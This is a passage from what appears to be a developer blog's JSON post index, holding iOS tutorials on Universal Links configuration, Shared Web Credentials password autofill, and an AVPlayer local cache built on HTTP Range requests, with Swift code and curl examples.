\"Matches any URL whose path starts with /buy/\" }, { \"/\": \"/help/website/*\", \"exclude\": true, \"comment\": \"Matches any URL whose path starts with /help/website/ and instructs the system not to open it as a universal link\" }, { \"/\": \"/help/*\", \"?\": { \"articleNumber\": \"????\" }, \"comment\": \"Matches any URL whose path starts with /help/ and that has a query item with name 'articleNumber' and a value of exactly 4 characters\" } ] } ]}Copied content:appIDs is an array that can contain multiple appIDs, so you don’t have to repeat the entire block as before. WWDC mentioned compatibility with the old version, when iOS ≥ 13 reads the new format, it will ignore the old paths.The matching rules are now placed in components; supporting 3 types: /: URL ?: Query, ex: ?name=123&place=tw #: Anchor, ex: #titleThey can be used together. For example, if only /user/?id=100#detail needs to jump to the app, it can be written as:{ \"/\": \"/user/*\", \"?\": { \"id\": \"*\" }, \"#\": \"detail\"}The matching syntax remains the same as the original syntax, also supporting *, ?, ?*.Added comment field for comments to help identification. (But please note that this is public and visible to others)Reverse exclusion is now specified with exclude: true.Added caseSensitive feature to specify whether the matching rules are case-sensitive, default: true. This can reduce the number of rules needed if required.Added percentEncoded as mentioned earlier, in the old version, URLs needed to be converted to ASCII and placed in paths first (if it’s Chinese characters, it will look ugly and unrecognizable); this parameter specifies whether to automatically encode for us, default is true. If it’s a Chinese URL, it can be directly included (ex: /customer service ).For detailed official documentation, refer to this.Default character sets:This is one of the important features of this update, adding support for character sets.System-defined character sets: $(alpha): A-Z and a-z $(upper): A-Z $(lower): a-z $(alnum): A-Z, a-z, and 0–9 $(digit): 0–9 $(xdigit): Hexadecimal characters, 0–9 and a,b,c,d,e,f,A,B,C,D,E,F $(region): ISO region codes isoRegionCodes, Ex: TW $(lang): ISO language codes isoLanguageCodes, Ex: zhIf our URL has multiple languages and we want to support Universal links, we can set it up like this:\"components\": [ { \"/\" : \"/$(lang)-$(region)/$(food)/home\" } ]This way, both /zh-TW/home and /en-US/home will be supported, making it very convenient without having to write a long list of rules!Custom character sets:In addition to the default character sets, we can also define custom character sets for increased configurability and readability.Simply add substitutionVariables in applinks:{ \"applinks\": { \"substitutionVariables\": { \"food\": [ \"burrito\", \"pizza\", \"sushi\", \"samosa\" ] }, \"details\": [{ \"appIDs\": [ ... ], \"components\": [ { \"/\" : \"/$(food)/\" } ] }] }}In this example, a custom food character set is defined and used in subsequent components.The example can match /burrito, /pizza, /sushi, /samosa.For more details, refer to this article in the official documentation.No inspiration?If you don’t have any inspiration for the content of the configuration file, you can secretly refer to the content of other websites. Just add /app-site-association or /.well-known/app-site-association to the homepage URL of the service website to read their configuration.For example: https://www.netflix.com/apple-app-site-associationSupplementIn the case of using SceneDelegate, the entry point for opening universal links is in the SceneDelegate:func scene(_ scene: UIScene, continue userActivity: NSUserActivity)Instead of in AppDelegate:func application(_ application: UIApplication, continue userActivity: NSUserActivity, restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> BoolFurther Reading iOS Cross-Platform Account Password Integration, Enhancing Login Experience iOS Deferred Deep Link Implementation (Swift)References What’s new in Universal Links Apple DocumentationIf you have any questions or suggestions, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "iOS Cross-Platform Account and Password Integration to Enhance Login Experience", "url": "/posts/948ed34efa09/", "categories": "ZRealm, Dev.", "tags": "ios, ios-app-development, password-security, web-credential, sign-in-with-apple", "date": "2021-02-02 22:13:50 +0800", "snippet": "iOS Cross-Platform Account and Password Integration to Enhance Login ExperienceA feature more worthwhile than Sign in with ApplePhoto by Dan NelsonFeaturesOne of the most common problems in service...", "content": "iOS Cross-Platform Account and Password Integration to Enhance Login ExperienceA feature more worthwhile than Sign in with ApplePhoto by Dan NelsonFeaturesOne of the most common problems in services that have both a website and an app is that users register and log in on the website, with passwords remembered; but when guided to install the app, they find it very inconvenient to re-enter their account and password from scratch. This feature allows the existing account and password on the phone to be automatically filled into the app associated with the website, speeding up the user login process.Effect DiagramWithout further ado, here is the completed effect diagram; at first glance, you might think it’s the iOS ≥ 11 Password AutoFill feature; but please look carefully, the keyboard did not pop up, and I clicked the “Choose Saved Password” button to bring up the account and password selection window.Since Password AutoFill is mentioned, let me first introduce Password AutoFill and how to set it up!Password AutoFillSupport: iOS ≥ 11By now, iOS 14, this feature is very common and nothing special; on the account and password login page in the app, when the keyboard is called up for input, you can quickly select the account and password of the web version service, and after selection, it will be automatically filled in for quick login!So how do the app and web recognize each other?Associated Domains! We specify Associated Domains in the app and upload the apple-app-site-association file on the website, and they can recognize each other.1. In the project settings “Signing & Capabilities” -> Top left “+ Capabilities” -> “Associated Domains”Add webcredentials:your website domain (ex: webcredentials:google.com).2. Go to Apple Developer ConsoleIn the “ Membership “ tab, record the “ Team ID “3. Go to “Certificates, Identifiers & Profiles” -> “Identifiers” -> Find your project -> Enable the “Associated Domains” featureApp-side settings completed!4. Web Site ConfigurationCreate a file named “apple-app-site-association” (without an extension), edit it with a text editor, and enter the following content:{ \"webcredentials\": { \"apps\": [ \"TeamID.BundleId\" ] }}Replace TeamID.BundleId with your project settings (e.g., TeamID = ABCD, BundleID = li.zhgchg.demoapp => ABCD.li.zhgchg.demoapp).Upload this file to the website’s root directory or /.well-known directory. Assuming your webcredentials website domain is set to google.com, this file should be accessible at google.com/apple-app-site-association or google.com/.well-known/apple-app-site-association.Note: SubdomainsAccording to the official documentation, if there are subdomains, they must all be listed in the Associated Domains.Web Configuration Complete!Note: applinksIt has been observed that if a universal link applinks has been set, the webcredentials part is not necessary for it to be effective. However, we will follow the documentation to avoid potential issues in the future.Back to the ProgramFor the code part, we only need to set the TextField as follows:usernameTextField.textContentType = .usernamepasswordTextField.textContentType = .passwordIf it is a new registration, the password confirmation field can use:repeatPasswordTextField.textContentType = .newPasswordAfter rebuilding and running the app, the option to use saved passwords from the same website will appear above the keyboard when entering the account.Done!Not Appearing?It might be because the autofill password feature is not enabled (it is disabled by default in the simulator). Go to “Settings” -> “Passwords” -> “Autofill Passwords” -> Enable “Autofill Passwords”.Alternatively, the website might not have any existing passwords. You can add one in “Settings” -> “Passwords” -> Top right corner “+” -> Add.Getting to the Main TopicAfter introducing Password AutoFill, let’s move on to the main topic: how to achieve the effect shown in the illustration.Shared Web CredentialsIntroduced in iOS 8.0, although rarely seen in apps before Password AutoFill was released, this API can integrate website account passwords for quick user selection.Shared Web Credentials can not only read account passwords but also add, modify, and delete stored account passwords.Configuration ⚠️ The configuration part must also set up Associated Domains, as mentioned in the Password AutoFill setup. So it can be said to be an enhanced version of the Password AutoFill feature!!Because the environment required for Password AutoFill must be set up first to use this “advanced” feature.ReadingReading is done using the SecRequestSharedWebCredential method:SecRequestSharedWebCredential(nil, nil) { (credentials, error) in guard error == nil else { DispatchQueue.main.async { //alert error } return } guard CFArrayGetCount(credentials) > 0, let dict = unsafeBitCast(CFArrayGetValueAtIndex(credentials, 0), to: CFDictionary.self) as? Dictionary<String, String>, let account = dict[kSecAttrAccount as String], let password = dict[kSecSharedPassword as String] else { DispatchQueue.main.async { //alert error } return } DispatchQueue.main.async { //fill account,password to textfield }}SecRequestSharedWebCredential(fqdn, account, completionHandler) fqdn If there are multiple webcredentials domains, you can specify one, or use null to not specify account Specify a particular account to query, use null to not specifyEffect image. (You may notice it is different from the initial effect image) ⚠️ This method has been marked as Deprecated in iOS 14! ⚠️ This method has been marked as Deprecated in iOS 14! ⚠️ This method has been marked as Deprecated in iOS 14! \"Use ASAuthorizationController to make an ASAuthorizationPasswordRequest (AuthenticationServices framework)\"This method is only applicable for iOS 8 ~ iOS 14. After iOS 13, you can use the same API as Sign in with Apple — AuthenticationServicesAuthenticationServices Reading MethodSupport iOS ≥ 13import AuthenticationServicesclass ViewController: UIViewController { override func viewDidLoad() { super.viewDidLoad() //... let request: ASAuthorizationPasswordRequest = ASAuthorizationPasswordProvider().createRequest() let controller = ASAuthorizationController(authorizationRequests: [request]) controller.delegate = self controller.performRequests() //... }}extension ViewController: ASAuthorizationControllerDelegate { func authorizationController(controller: ASAuthorizationController, didCompleteWithAuthorization authorization: ASAuthorization) { if let credential = authorization.credential as? ASPasswordCredential { // fill credential.user, credential.password to textfield } // else if as? ASAuthorizationAppleIDCredential... sign in with apple } func authorizationController(controller: ASAuthorizationController, didCompleteWithError error: Error) { // alert error }}Effect image, you can see that the new method integrates better with Sign in with Apple in terms of process and display. ⚠️ This login cannot replace Sign in with Apple (they are different things).Writing Account and Password to “Passwords”Only the reading part is deprecated, the parts for adding, deleting, and editing can still be used as usual.The parts for adding, deleting, and editing use SecAddSharedWebCredential for operations.SecAddSharedWebCredential(domain as CFString, account as CFString, password as CFString?) { (error) in DispatchQueue.main.async { guard error == nil else { // alert error return } // alert success }}SecAddSharedWebCredential(fqdn, account, password, completionHandler) fqdn can freely specify the domain to be stored, it does not necessarily have to be in webcredentials account specifies the account to be added, modified, or deleted To delete data, set password to nil Processing logic: account exists & password is provided = modify password account exists & password is nil = delete account and password from domain account does not exist & password is provided = add account and password to domain ⚠️ Additionally, you cannot modify in the background secretly; a prompt will appear each time you modify, asking the user to confirm by clicking “Update Password” to actually change the data.Password GeneratorThe last small feature, the password generator.Use SecCreateSharedWebCredentialPassword() to operate.let password = SecCreateSharedWebCredentialPassword() as String? ?? \"\"The generated password consists of uppercase and lowercase English letters and numbers, using “-“ as a separator (e.g., Jpn-4t2-gaF-dYk).Complete Test Project DownloadRoom for ImprovementIf you use third-party password management tools (e.g., onepass, lastpass), you might notice that while Password AutoFill on the keyboard supports display & input, it does not show up in AuthenticationServices or SecRequestSharedWebCredential. It’s unclear if this can be achieved.ConclusionThank you for reading, and thanks to saiday and StreetVoice for letting me know about this feature XD.Also, XCode ≥ 12.5 simulators have added recording and GIF saving features, which are super useful!Press “Command” + “R” on the simulator to start recording, click the red dot to stop recording; right-click on the preview image that slides out from the bottom right -> “Save as Animated GIF” to save it as a GIF and directly paste it into the article!For any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Comprehensive Guide to Implementing Local Cache with AVPlayer", "url": "/posts/6ce488898003/", "categories": "ZRealm, Dev.", "tags": "ios, ios-app-development, cache, avplayer, music-player-app", "date": "2021-01-31 18:41:42 +0800", "snippet": "Comprehensive Guide to Implementing Local Cache with AVPlayerAVPlayer/AVQueuePlayer with AVURLAsset implementing AVAssetResourceLoaderDelegatePhoto by Tyler Lastovich[2023/03/12] UpdateI have open-...", "content": "Comprehensive Guide to Implementing Local Cache with AVPlayerAVPlayer/AVQueuePlayer with AVURLAsset implementing AVAssetResourceLoaderDelegatePhoto by Tyler Lastovich[2023/03/12] UpdateI have open-sourced my previous implementation, and those in need can use it directly. Customizable Cache strategy, can use PINCache or others… Externally, just call the make AVAsset factory, input the URL, and the AVAsset will support Caching Implemented Data Flow strategy using Combine Wrote some testsIntroductionIt’s been more than half a year since the last post “Exploring Methods for Implementing iOS HLS Cache”, and the team has always wanted to implement the cache-while-playing feature because it greatly impacts costs. We are a music streaming platform, and if we have to fetch the entire file every time the same song is played, it would be a huge data drain for us and for users who don’t have unlimited data plans. Although music files are at most a few MB, it all adds up to significant costs!Additionally, since the Android side has already implemented the cache-while-playing feature, we previously compared the costs and found that after launching on Android, there was a significant reduction in data usage. With relatively more users on iOS, we should see even better data savings.Based on the experience from the previous post, if we continue to use HLS (.m3u8/.ts) to achieve our goal, things will become very complicated and possibly unachievable. So, we decided to revert to using mp3 files, which allows us to directly use AVAssetResourceLoaderDelegate for implementation.Goals Music that has been played will generate a local Cache backup When playing music, first check if there is a local Cache to read from; if so, do not request the file from the server again Can set Cache strategies; total capacity limit, start deleting the oldest Cache files when exceeded Do not interfere with the original AVPlayer playback mechanism(The fastest method would be to use URLSession to download the mp3 and feed it to AVPlayer, but this would lose the ability to play while downloading, making users wait longer and consuming more data)Preliminary Knowledge (1) — HTTP/1.1 Range Requests, Connection Keep-AliveHTTP/1.1 Range RequestsFirst, we need to understand how data is requested from the server when playing videos or music. Generally, video and music files are very large, and it is not feasible to wait until the entire file is fetched before starting playback. The common approach is to fetch data as it plays, only needing the data for the currently playing segment.The way to achieve this is through HTTP/1.1 Range, which only returns the specified byte range of data, for example, specifying 0–100 will only return the 100 bytes of data from 0–100. Using this method, data can be fetched in segments and then assembled into a complete file. This method can also be applied to resume interrupted downloads.How to Apply?We will first use HEAD to check the Response Header to understand if the server supports Range requests, the total length of the resource, and the file type:curl -i -X HEAD http://zhgchg.li/music.mp3Using HEAD, we can get the following information from the Response Header: Accept-Ranges: bytes indicates that the server supports Range requests.If this value is missing or is Accept-Ranges: none, it means it does not support it. Content-Length: The total length of the resource. We need to know the total length to request data in segments. Content-Type: The file type, which is information needed by AVPlayer when playing.However, sometimes we also use GET Range: bytes=0–1, which means we request data in the range of 0–1, but we don’t actually care about the content of 0–1. We just want to see the Response Header information; the native AVPlayer uses GET to check, so this article will also use it. But it is more recommended to use HEAD to check. One method is more correct, and if the server does not support the Range function, using GET will force the download of the entire file.curl -i -X GET http://zhgchg.li/music.mp3 -H \"Range: bytes=0–1\"Using GET, we can get the following information from the Response Header: Accept-Ranges: bytes indicates that the server supports Range requests.If this value is missing or is Accept-Ranges: none, it means it does not support it. Content-Range: bytes 0–1/total length of the resource, the number after the “/” is the total length of the resource. We need to know the total length to request data in segments. Content-Type: The file type, which is information needed by AVPlayer when playing.Knowing that the server supports Range requests, we can initiate segmented Range requests:curl -i -X GET http://zhgchg.li/music.mp3 -H \"Range: bytes=0–100\"The server will return 206 Partial Content:Content-Range: bytes 0-100/total lengthContent-Length: 100...(binary content)At this point, we get the data for Range 0–100 and can continue to make new requests for Range 100–200, 200–300, and so on until the end.If the requested Range exceeds the total length of the resource, it will return 416 Range Not Satisfiable.Additionally, to get the complete file data, you can request Range 0-total length or use 0-:curl -i -X GET http://zhgchg.li/music.mp3 -H \"Range: bytes=0–\"You can also request multiple Range data in the same request and set conditions, but we don’t need that. For more details, you can refer here.Connection Keep-AliveHTTP 1.1 is enabled by default. This feature allows real-time retrieval of downloaded data, for example, a 5 MB file can be retrieved in 16 KB, 16 KB, 16 KB… increments, without waiting for the entire 5 MB to be downloaded.Connection: Keep-AliveWhat if the server does not support Range or Keep-Alive ? Then there’s no need to do so much. Just use URLSession to download the mp3 file and feed it to the player… But this is not the result we want, so you can ask the backend to modify the server settings.Preliminary Knowledge (2) — How does the native AVPlayer handle AVURLAsset resources?When we use AVURLAsset to initialize with a URL resource and assign it to AVPlayer/AVQueuePlayer to start playing, as mentioned above, it will first use GET Range 0–1 to obtain whether it supports Range requests, the total length of the resource, and the file type.With the file information, a second request will be initiated to request data from 0 to the total length. ⚠️ AVPlayer will request data from 0 to the total length and will cancel the network request once it feels it has enough data (e.g., 16 kb, 16 kb, 16 kb…) (so it won’t actually fetch the entire file unless the file is very small). It will continue to request data using Range after resuming playback. (This part is different from what I previously thought; I assumed it would request 0–100, 100–200, etc.)AVPlayer Request Example:1. GET Range 0-1 => Response: Total length 150000 / public.mp3 / true2. GET 0-150000...3. 16 kb receive4. 16 kb receive...5. cancel() // current offset is 7006. Continue playback7. GET 700-150000...8. 16 kb receive9. 16 kb receive...10. cancel() // current offset is 150011. Continue playback12. GET 1500-150000...13. 16 kb receive14. 16 kb receive...16. If seek to...500017. cancel(12.) // current offset is 200018. GET 5000-150000...19. 16 kb receive20. 16 kb receive...... ⚠️ In iOS ≤12, it will first send a few shorter requests to test (?), and then send a request for the total length; in iOS ≥ 13, it will directly send a request for the total length.Another side issue is that while observing how resources are fetched, I used the mitmproxy tool for sniffing. It showed errors, waiting for the entire response to come back before displaying it, instead of showing segments and using persistent connections for continued downloads. This scared me! I thought iOS was dumb enough to fetch the entire file each time! Next time, I need to be a bit skeptical when using tools Orz.Timing of Cancel Initiation As mentioned earlier, the second request, which requests resources from 0 to the total length, will initiate a Cancel request once there is enough data. When seeking, it will first initiate a Cancel request for the previous request. ⚠️ Switching to the next resource in AVQueuePlayer or changing the playback resource in AVPlayer will not initiate a Cancel request for the previous track.AVQueue Pre-bufferingIt also calls the Resource Loader to handle it, but the requested data range will be smaller.ImplementationWith the above preliminary knowledge, let’s look at how to implement the local cache function of AVPlayer.As mentioned earlier, AVAssetResourceLoaderDelegate allows us to implement the Resource Loader for the Asset.The Resource Loader is essentially a worker. Whether the player needs file information or file data, and the range, it tells us, and we do it. I saw an example where a Resource Loader serves all AVURLAssets, which I think is wrong. It should be one Resource Loader serving one AVURLAsset, following the lifecycle of the AVURLAsset, as it belongs to the AVURLAsset. A Resource Loader serving all AVURLAssets in AVQueuePlayer would become very complex and difficult to manage.Timing of Entering Custom Resource LoaderNote that implementing your own Resource Loader doesn’t mean it will handle everything. It will only use your Resource Loader when the system cannot recognize or handle the resource.Therefore, before giving the URL resource to AVURLAsset, we need to change the Scheme to our custom Scheme, not http/https… which the system can handle.http://zhgchg.li/music.mp3 => cacheable://zhgchg.li/music.mp3AVAssetResourceLoaderDelegateOnly two methods need to be implemented: func resourceLoader(_ resourceLoader: AVAssetResourceLoader, shouldWaitForLoadingOfRequestedResource loadingRequest: AVAssetResourceLoadingRequest) -> Bool:This method asks us if we can handle this resource. Return true if we can, return false if we cannot (unsupported URL).We can extract what is being requested from loadingRequest (whether it is the first request for file information or a data request, and if it is a data request, what the Range is). After knowing the request, we initiate our own request to fetch the data. Here we can decide whether to initiate a URLSession or return Data from local storage.Additionally, we can perform Data encryption and decryption operations here to protect the original data. func resourceLoader(_ resourceLoader: AVAssetResourceLoader, didCancel loadingRequest: AVAssetResourceLoadingRequest):As mentioned earlier, Cancel initiation timing when Cancel is initiated…We can cancel the ongoing URLSession request here.Local Cache ImplementationFor the Cache part, I directly use PINCache, delegating the Cache work to it, avoiding issues like Cache read/write DeadLock and implementing Cache LRU strategy. ️️⚠️️️️️️️️️️️OOM Warning! Since this is for caching music files with a size of around 10 MB, PINCache can be used as a local Cache tool. However, this method cannot be used for serving videos (which may require loading several GB of data into memory at once).For such requirements, you can refer to the approach of using FileHandle’s seek read/write features.Let’s Get Started!Without further ado, here is the complete project:AssetDataLocal Cache data object mapping implements NSCoding, as PINCache relies on the archivedData method for encoding/decoding.import Foundationimport CryptoKitclass AssetDataContentInformation: NSObject, NSCoding { @objc var contentLength: Int64 = 0 @objc var contentType: String = \"\" @objc var isByteRangeAccessSupported: Bool = false func encode(with coder: NSCoder) { coder.encode(self.contentLength, forKey: #keyPath(AssetDataContentInformation.contentLength)) coder.encode(self.contentType, forKey: #keyPath(AssetDataContentInformation.contentType)) coder.encode(self.isByteRangeAccessSupported, forKey: #keyPath(AssetDataContentInformation.isByteRangeAccessSupported)) } override init() { super.init() } required init?(coder: NSCoder) { super.init() self.contentLength = coder.decodeInt64(forKey: #keyPath(AssetDataContentInformation.contentLength)) self.contentType = coder.decodeObject(forKey: #keyPath(AssetDataContentInformation.contentType)) as? String ?? \"\" self.isByteRangeAccessSupported = coder.decodeObject(forKey: #keyPath(AssetDataContentInformation.isByteRangeAccessSupported)) as? Bool ?? false }}class AssetData: NSObject, NSCoding { @objc var contentInformation: AssetDataContentInformation = AssetDataContentInformation() @objc var mediaData: Data = Data() override init() { super.init() } func encode(with coder: NSCoder) { coder.encode(self.contentInformation, forKey: #keyPath(AssetData.contentInformation)) coder.encode(self.mediaData, forKey: #keyPath(AssetData.mediaData)) } required init?(coder: NSCoder) { super.init() self.contentInformation = coder.decodeObject(forKey: #keyPath(AssetData.contentInformation)) as? AssetDataContentInformation ?? AssetDataContentInformation() self.mediaData = coder.decodeObject(forKey: #keyPath(AssetData.mediaData)) as? Data ?? Data() }}AssetData contains: contentInformation : AssetDataContentInformationAssetDataContentInformation:Contains whether Range requests are supported (isByteRangeAccessSupported), total resource length (contentLength), file type (contentType) mediaData : Original audio Data (large files here may cause OOM)PINCacheAssetDataManagerEncapsulates the logic for storing and retrieving Data in PINCache.import PINCacheimport Foundationprotocol AssetDataManager: NSObject { func retrieveAssetData() -> AssetData? func saveContentInformation(_ contentInformation: AssetDataContentInformation) func saveDownloadedData(_ data: Data, offset: Int) func mergeDownloadedDataIfIsContinuted(from: Data, with: Data, offset: Int) -> Data?}extension AssetDataManager { func mergeDownloadedDataIfIsContinuted(from: Data, with: Data, offset: Int) -> Data? { if offset <= from.count && (offset + with.count) > from.count { let start = from.count - offset var data = from data.append(with.subdata(in: start..<with.count)) return data } return nil }}//class PINCacheAssetDataManager: NSObject, AssetDataManager { static let Cache: PINCache = PINCache(name: \"ResourceLoader\") let cacheKey: String init(cacheKey: String) { self.cacheKey = cacheKey super.init() } func saveContentInformation(_ contentInformation: AssetDataContentInformation) { let assetData = AssetData() assetData.contentInformation = contentInformation PINCacheAssetDataManager.Cache.setObjectAsync(assetData, forKey: cacheKey, completion: nil) } func saveDownloadedData(_ data: Data, offset: Int) { guard let assetData = self.retrieveAssetData() else { return } if let mediaData = self.mergeDownloadedDataIfIsContinuted(from: assetData.mediaData, with: data, offset: offset) { assetData.mediaData = mediaData PINCacheAssetDataManager.Cache.setObjectAsync(assetData, forKey: cacheKey, completion: nil) } } func retrieveAssetData() -> AssetData? { guard let assetData = PINCacheAssetDataManager.Cache.object(forKey: cacheKey) as? AssetData else { return nil } return assetData }}Here, we extract the Protocol because we might use other storage methods to replace PINCache in the future. Therefore, other programs should rely on the Protocol rather than the Class instance when using it. ⚠️ mergeDownloadedDataIfIsContinuted This method is extremely important.For linear playback, you just need to keep appending new Data to the Cache Data, but the real situation is much more complicated. The user might play Range 0~100 and then directly Seek to Range 200–500 for playback. How to merge the existing 0-100 Data with the new 200–500 Data is a big problem. ⚠️ Data merging issues can lead to terrible playback glitches…The answer here is, we do not handle non-continuous data; because our project is only for audio, and the files are just a few MB (≤ 10MB), considering the development cost, we didn’t do it. I only handle merging continuous data (for example, currently having 0~100, and the new data is 75~200, after merging it becomes 0~200; if the new data is 150~200, I will ignore it and not merge).If you want to consider non-continuous merging, besides using other methods for storage (to identify the missing parts), you also need to be able to query which segment needs a network request and which segment is taken locally during the Request. Considering this situation, the implementation will be very complicated.Image source: iOS AVPlayer Video Cache Design and ImplementationCachingAVURLAssetAVURLAsset weakly holds the ResourceLoader Delegate, so it is recommended to create an AVURLAsset Class that inherits from AVURLAsset, internally create, assign, and hold the ResourceLoader, allowing it to follow the lifecycle of AVURLAsset. Additionally, you can store information such as the original URL, CacheKey, etc.class CachingAVURLAsset: AVURLAsset { static let customScheme = \"cacheable\" let originalURL: URL private var _resourceLoader: ResourceLoader? var cacheKey: String { return self.url.lastPathComponent } static func isSchemeSupport(_ url: URL) -> Bool { guard let components = URLComponents(url: url, resolvingAgainstBaseURL: false) else { return false } return [\"http\", \"https\"].contains(components.scheme) } override init(url URL: URL, options: [String: Any]? = nil) { self.originalURL = URL guard var components = URLComponents(url: URL, resolvingAgainstBaseURL: false) else { super.init(url: URL, options: options) return } components.scheme = CachingAVURLAsset.customScheme guard let url = components.url else { super.init(url: URL, options: options) return } super.init(url: url, options: options) let resourceLoader = ResourceLoader(asset: self) self.resourceLoader.setDelegate(resourceLoader, queue: resourceLoader.loaderQueue) self._resourceLoader = resourceLoader }}Usage:if CachingAVURLAsset.isSchemeSupport(url) { let asset = CachingAVURLAsset(url: url) let avplayer = AVPlayer(asset) avplayer.play()}Where isSchemeSupport() is used to determine if the URL supports our Resource Loader (excluding file://).originalURL stores the original resource URL.cacheKey stores the Cache Key for this resource, here we directly use the file name as the Cache Key.Please adjust cacheKey according to real-world scenarios. If the file name is not hashed and may be duplicated, it is recommended to hash it first to avoid collisions; if you want to hash the entire URL as the key, also pay attention to whether the URL will change (e.g., using CDN).Hashing can use md5…sha… iOS ≥ 13 can directly use Apple’s CryptoKit, for others, check Github!ResourceLoaderRequestimport Foundationimport CoreServicesprotocol ResourceLoaderRequestDelegate: AnyObject { func dataRequestDidReceive(_ resourceLoaderRequest: ResourceLoaderRequest, _ data: Data) func dataRequestDidComplete(_ resourceLoaderRequest: ResourceLoaderRequest, _ error: Error?, _ downloadedData: Data) func contentInformationDidComplete(_ resourceLoaderRequest: ResourceLoaderRequest, _ result: Result<AssetDataContentInformation, Error>)}class ResourceLoaderRequest: NSObject, URLSessionDataDelegate { struct RequestRange { var start: Int64 var end: RequestRangeEnd enum RequestRangeEnd { case requestTo(Int64) case requestToEnd } } enum RequestType { case contentInformation case dataRequest } struct ResponseUnExpectedError: Error { } private let loaderQueue: DispatchQueue let originalURL: URL let type: RequestType private var session: URLSession? private var dataTask: URLSessionDataTask? private var assetDataManager: AssetDataManager? private(set) var requestRange: RequestRange? private(set) var response: URLResponse? private(set) var downloadedData: Data = Data() private(set) var isCancelled: Bool = false { didSet { if isCancelled { self.dataTask?.cancel() self.session?.invalidateAndCancel() } } } private(set) var isFinished: Bool = false { didSet { if isFinished { self.session?.finishTasksAndInvalidate() } } } weak var delegate: ResourceLoaderRequestDelegate? init(originalURL: URL, type: RequestType, loaderQueue: DispatchQueue, assetDataManager: AssetDataManager?) { self.originalURL = originalURL self.type = type self.loaderQueue = loaderQueue self.assetDataManager = assetDataManager super.init() } func start(requestRange: RequestRange) { guard isCancelled == false, isFinished == false else { return } self.loaderQueue.async { [weak self] in guard let self = self else { return } var request = URLRequest(url: self.originalURL) self.requestRange = requestRange let start = String(requestRange.start) let end: String switch requestRange.end { case .requestTo(let rangeEnd): end = String(rangeEnd) case .requestToEnd: end = \"\" } let rangeHeader = \"bytes=\\(start)-\\(end)\" request.setValue(rangeHeader, forHTTPHeaderField: \"Range\") let session = URLSession(configuration: .default, delegate: self, delegateQueue: nil) self.session = session let dataTask = session.dataTask(with: request) self.dataTask = dataTask dataTask.resume() } } func cancel() { self.isCancelled = true } func urlSession(_ session: URLSession, dataTask: URLSessionDataTask, didReceive data: Data) { guard self.type == .dataRequest else { return } self.loaderQueue.async { self.delegate?.dataRequestDidReceive(self, data) self.downloadedData.append(data) } } func urlSession(_ session: URLSession, dataTask: URLSessionDataTask, didReceive response: URLResponse, completionHandler: @escaping (URLSession.ResponseDisposition) -> Void) { self.response = response completionHandler(.allow) } func urlSession(_ session: URLSession, task: URLSessionTask, didCompleteWithError error: Error?) { self.isFinished = true self.loaderQueue.async { if self.type == .contentInformation { guard error == nil, let response = self.response as? HTTPURLResponse else { let responseError = error ?? ResponseUnExpectedError() self.delegate?.contentInformationDidComplete(self, .failure(responseError)) return } let contentInformation = AssetDataContentInformation() if let rangeString = response.allHeaderFields[\"Content-Range\"] as? String, let bytesString = rangeString.split(separator: \"/\").map({String($0)}).last, let bytes = Int64(bytesString) { contentInformation.contentLength = bytes } if let mimeType = response.mimeType, let contentType = UTTypeCreatePreferredIdentifierForTag(kUTTagClassMIMEType, mimeType as CFString, nil)?.takeRetainedValue() { contentInformation.contentType = contentType as String } if let value = response.allHeaderFields[\"Accept-Ranges\"] as? String, value == \"bytes\" { contentInformation.isByteRangeAccessSupported = true } else { contentInformation.isByteRangeAccessSupported = false } self.assetDataManager?.saveContentInformation(contentInformation) self.delegate?.contentInformationDidComplete(self, .success(contentInformation)) } else { if let offset = self.requestRange?.start, self.downloadedData.count > 0 { self.assetDataManager?.saveDownloadedData(self.downloadedData, offset: Int(offset)) } self.delegate?.dataRequestDidComplete(self, error, self.downloadedData) } } }}Encapsulation for Remote Request, mainly for data requests initiated by ResourceLoader.RequestType: Used to distinguish whether this Request is the first request for file information (contentInformation) or a data request (dataRequest).RequestRange: Request Range scope, end can specify to where (requestTo(Int64)) or all (requestToEnd).File information can be obtained from:func urlSession(_ session: URLSession, dataTask: URLSessionDataTask, didReceive response: URLResponse, completionHandler: @escaping (URLSession.ResponseDisposition) -> Void)Get the Response Header from it. Additionally, note that if you want to change to HEAD, it won’t enter here; you need to use other methods to receive it. isByteRangeAccessSupported: Check Accept-Ranges == bytes in the Response Header. contentType: The file type information required by the player, formatted as a Uniform Type Identifier, not audio/mpeg, but written as public.mp3. contentLength: Check Content-Range in the Response Header: bytes 0–1/ total length of the resource. ⚠️ Note that the format given by the server may vary in case sensitivity. It may not be written as Accept-Ranges/Content-Range; some servers use lowercase accept-ranges, Accept-ranges…Supplement: If you need to consider case sensitivity, you can write an HTTPURLResponse Extensionimport CoreServicesextension HTTPURLResponse { func parseContentLengthFromContentRange() -> Int64? { let contentRangeKeys: [String] = [ \"Content-Range\", \"content-range\", \"Content-range\", \"content-Range\" ] var rangeString: String? for key in contentRangeKeys { if let value = self.allHeaderFields[key] as? String { rangeString = value break } } guard let rangeString = rangeString, let contentLengthString = rangeString.split(separator: \"/\").map({String($0)}).last, let contentLength = Int64(contentLengthString) else { return nil } return contentLength } func parseAcceptRanges() -> Bool? { let contentRangeKeys: [String] = [ \"Accept-Ranges\", \"accept-ranges\", \"Accept-ranges\", \"accept-Ranges\" ] var rangeString: String? for key in contentRangeKeys { if let value = self.allHeaderFields[key] as? String { rangeString = value break } } guard let rangeString = rangeString else { return nil } return rangeString == \"bytes\" || rangeString == \"Bytes\" } func mimeTypeUTI() -> String? { guard let mimeType = self.mimeType, let contentType = UTTypeCreatePreferredIdentifierForTag(kUTTagClassMIMEType, mimeType as CFString, nil)?.takeRetainedValue() else { return nil } return contentType as String }}Usage: contentLength = response.parseContentLengthFromContentRange() isByteRangeAccessSupported = response.parseAcceptRanges() contentType = response.mimeTypeUTI()func urlSession(_ session: URLSession, dataTask: URLSessionDataTask, didReceive data: Data)As mentioned in the preliminary knowledge, the downloaded data will be obtained in real-time, so this method will keep getting called, receiving Data in fragments; we will append it to downloadedData for storage.func urlSession(_ session: URLSession, task: URLSessionTask, didCompleteWithError error: Error?)This method is called when the task is canceled or completed, where the downloaded data will be saved.As mentioned in the preliminary knowledge about the Cancel mechanism, since the player will initiate a Cancel Request after obtaining enough data, when this method is called, the actual error = NSURLErrorCancelled will be received. Therefore, regardless of the error, we will try to save the data if we have received it. ⚠️ Since URLSession requests 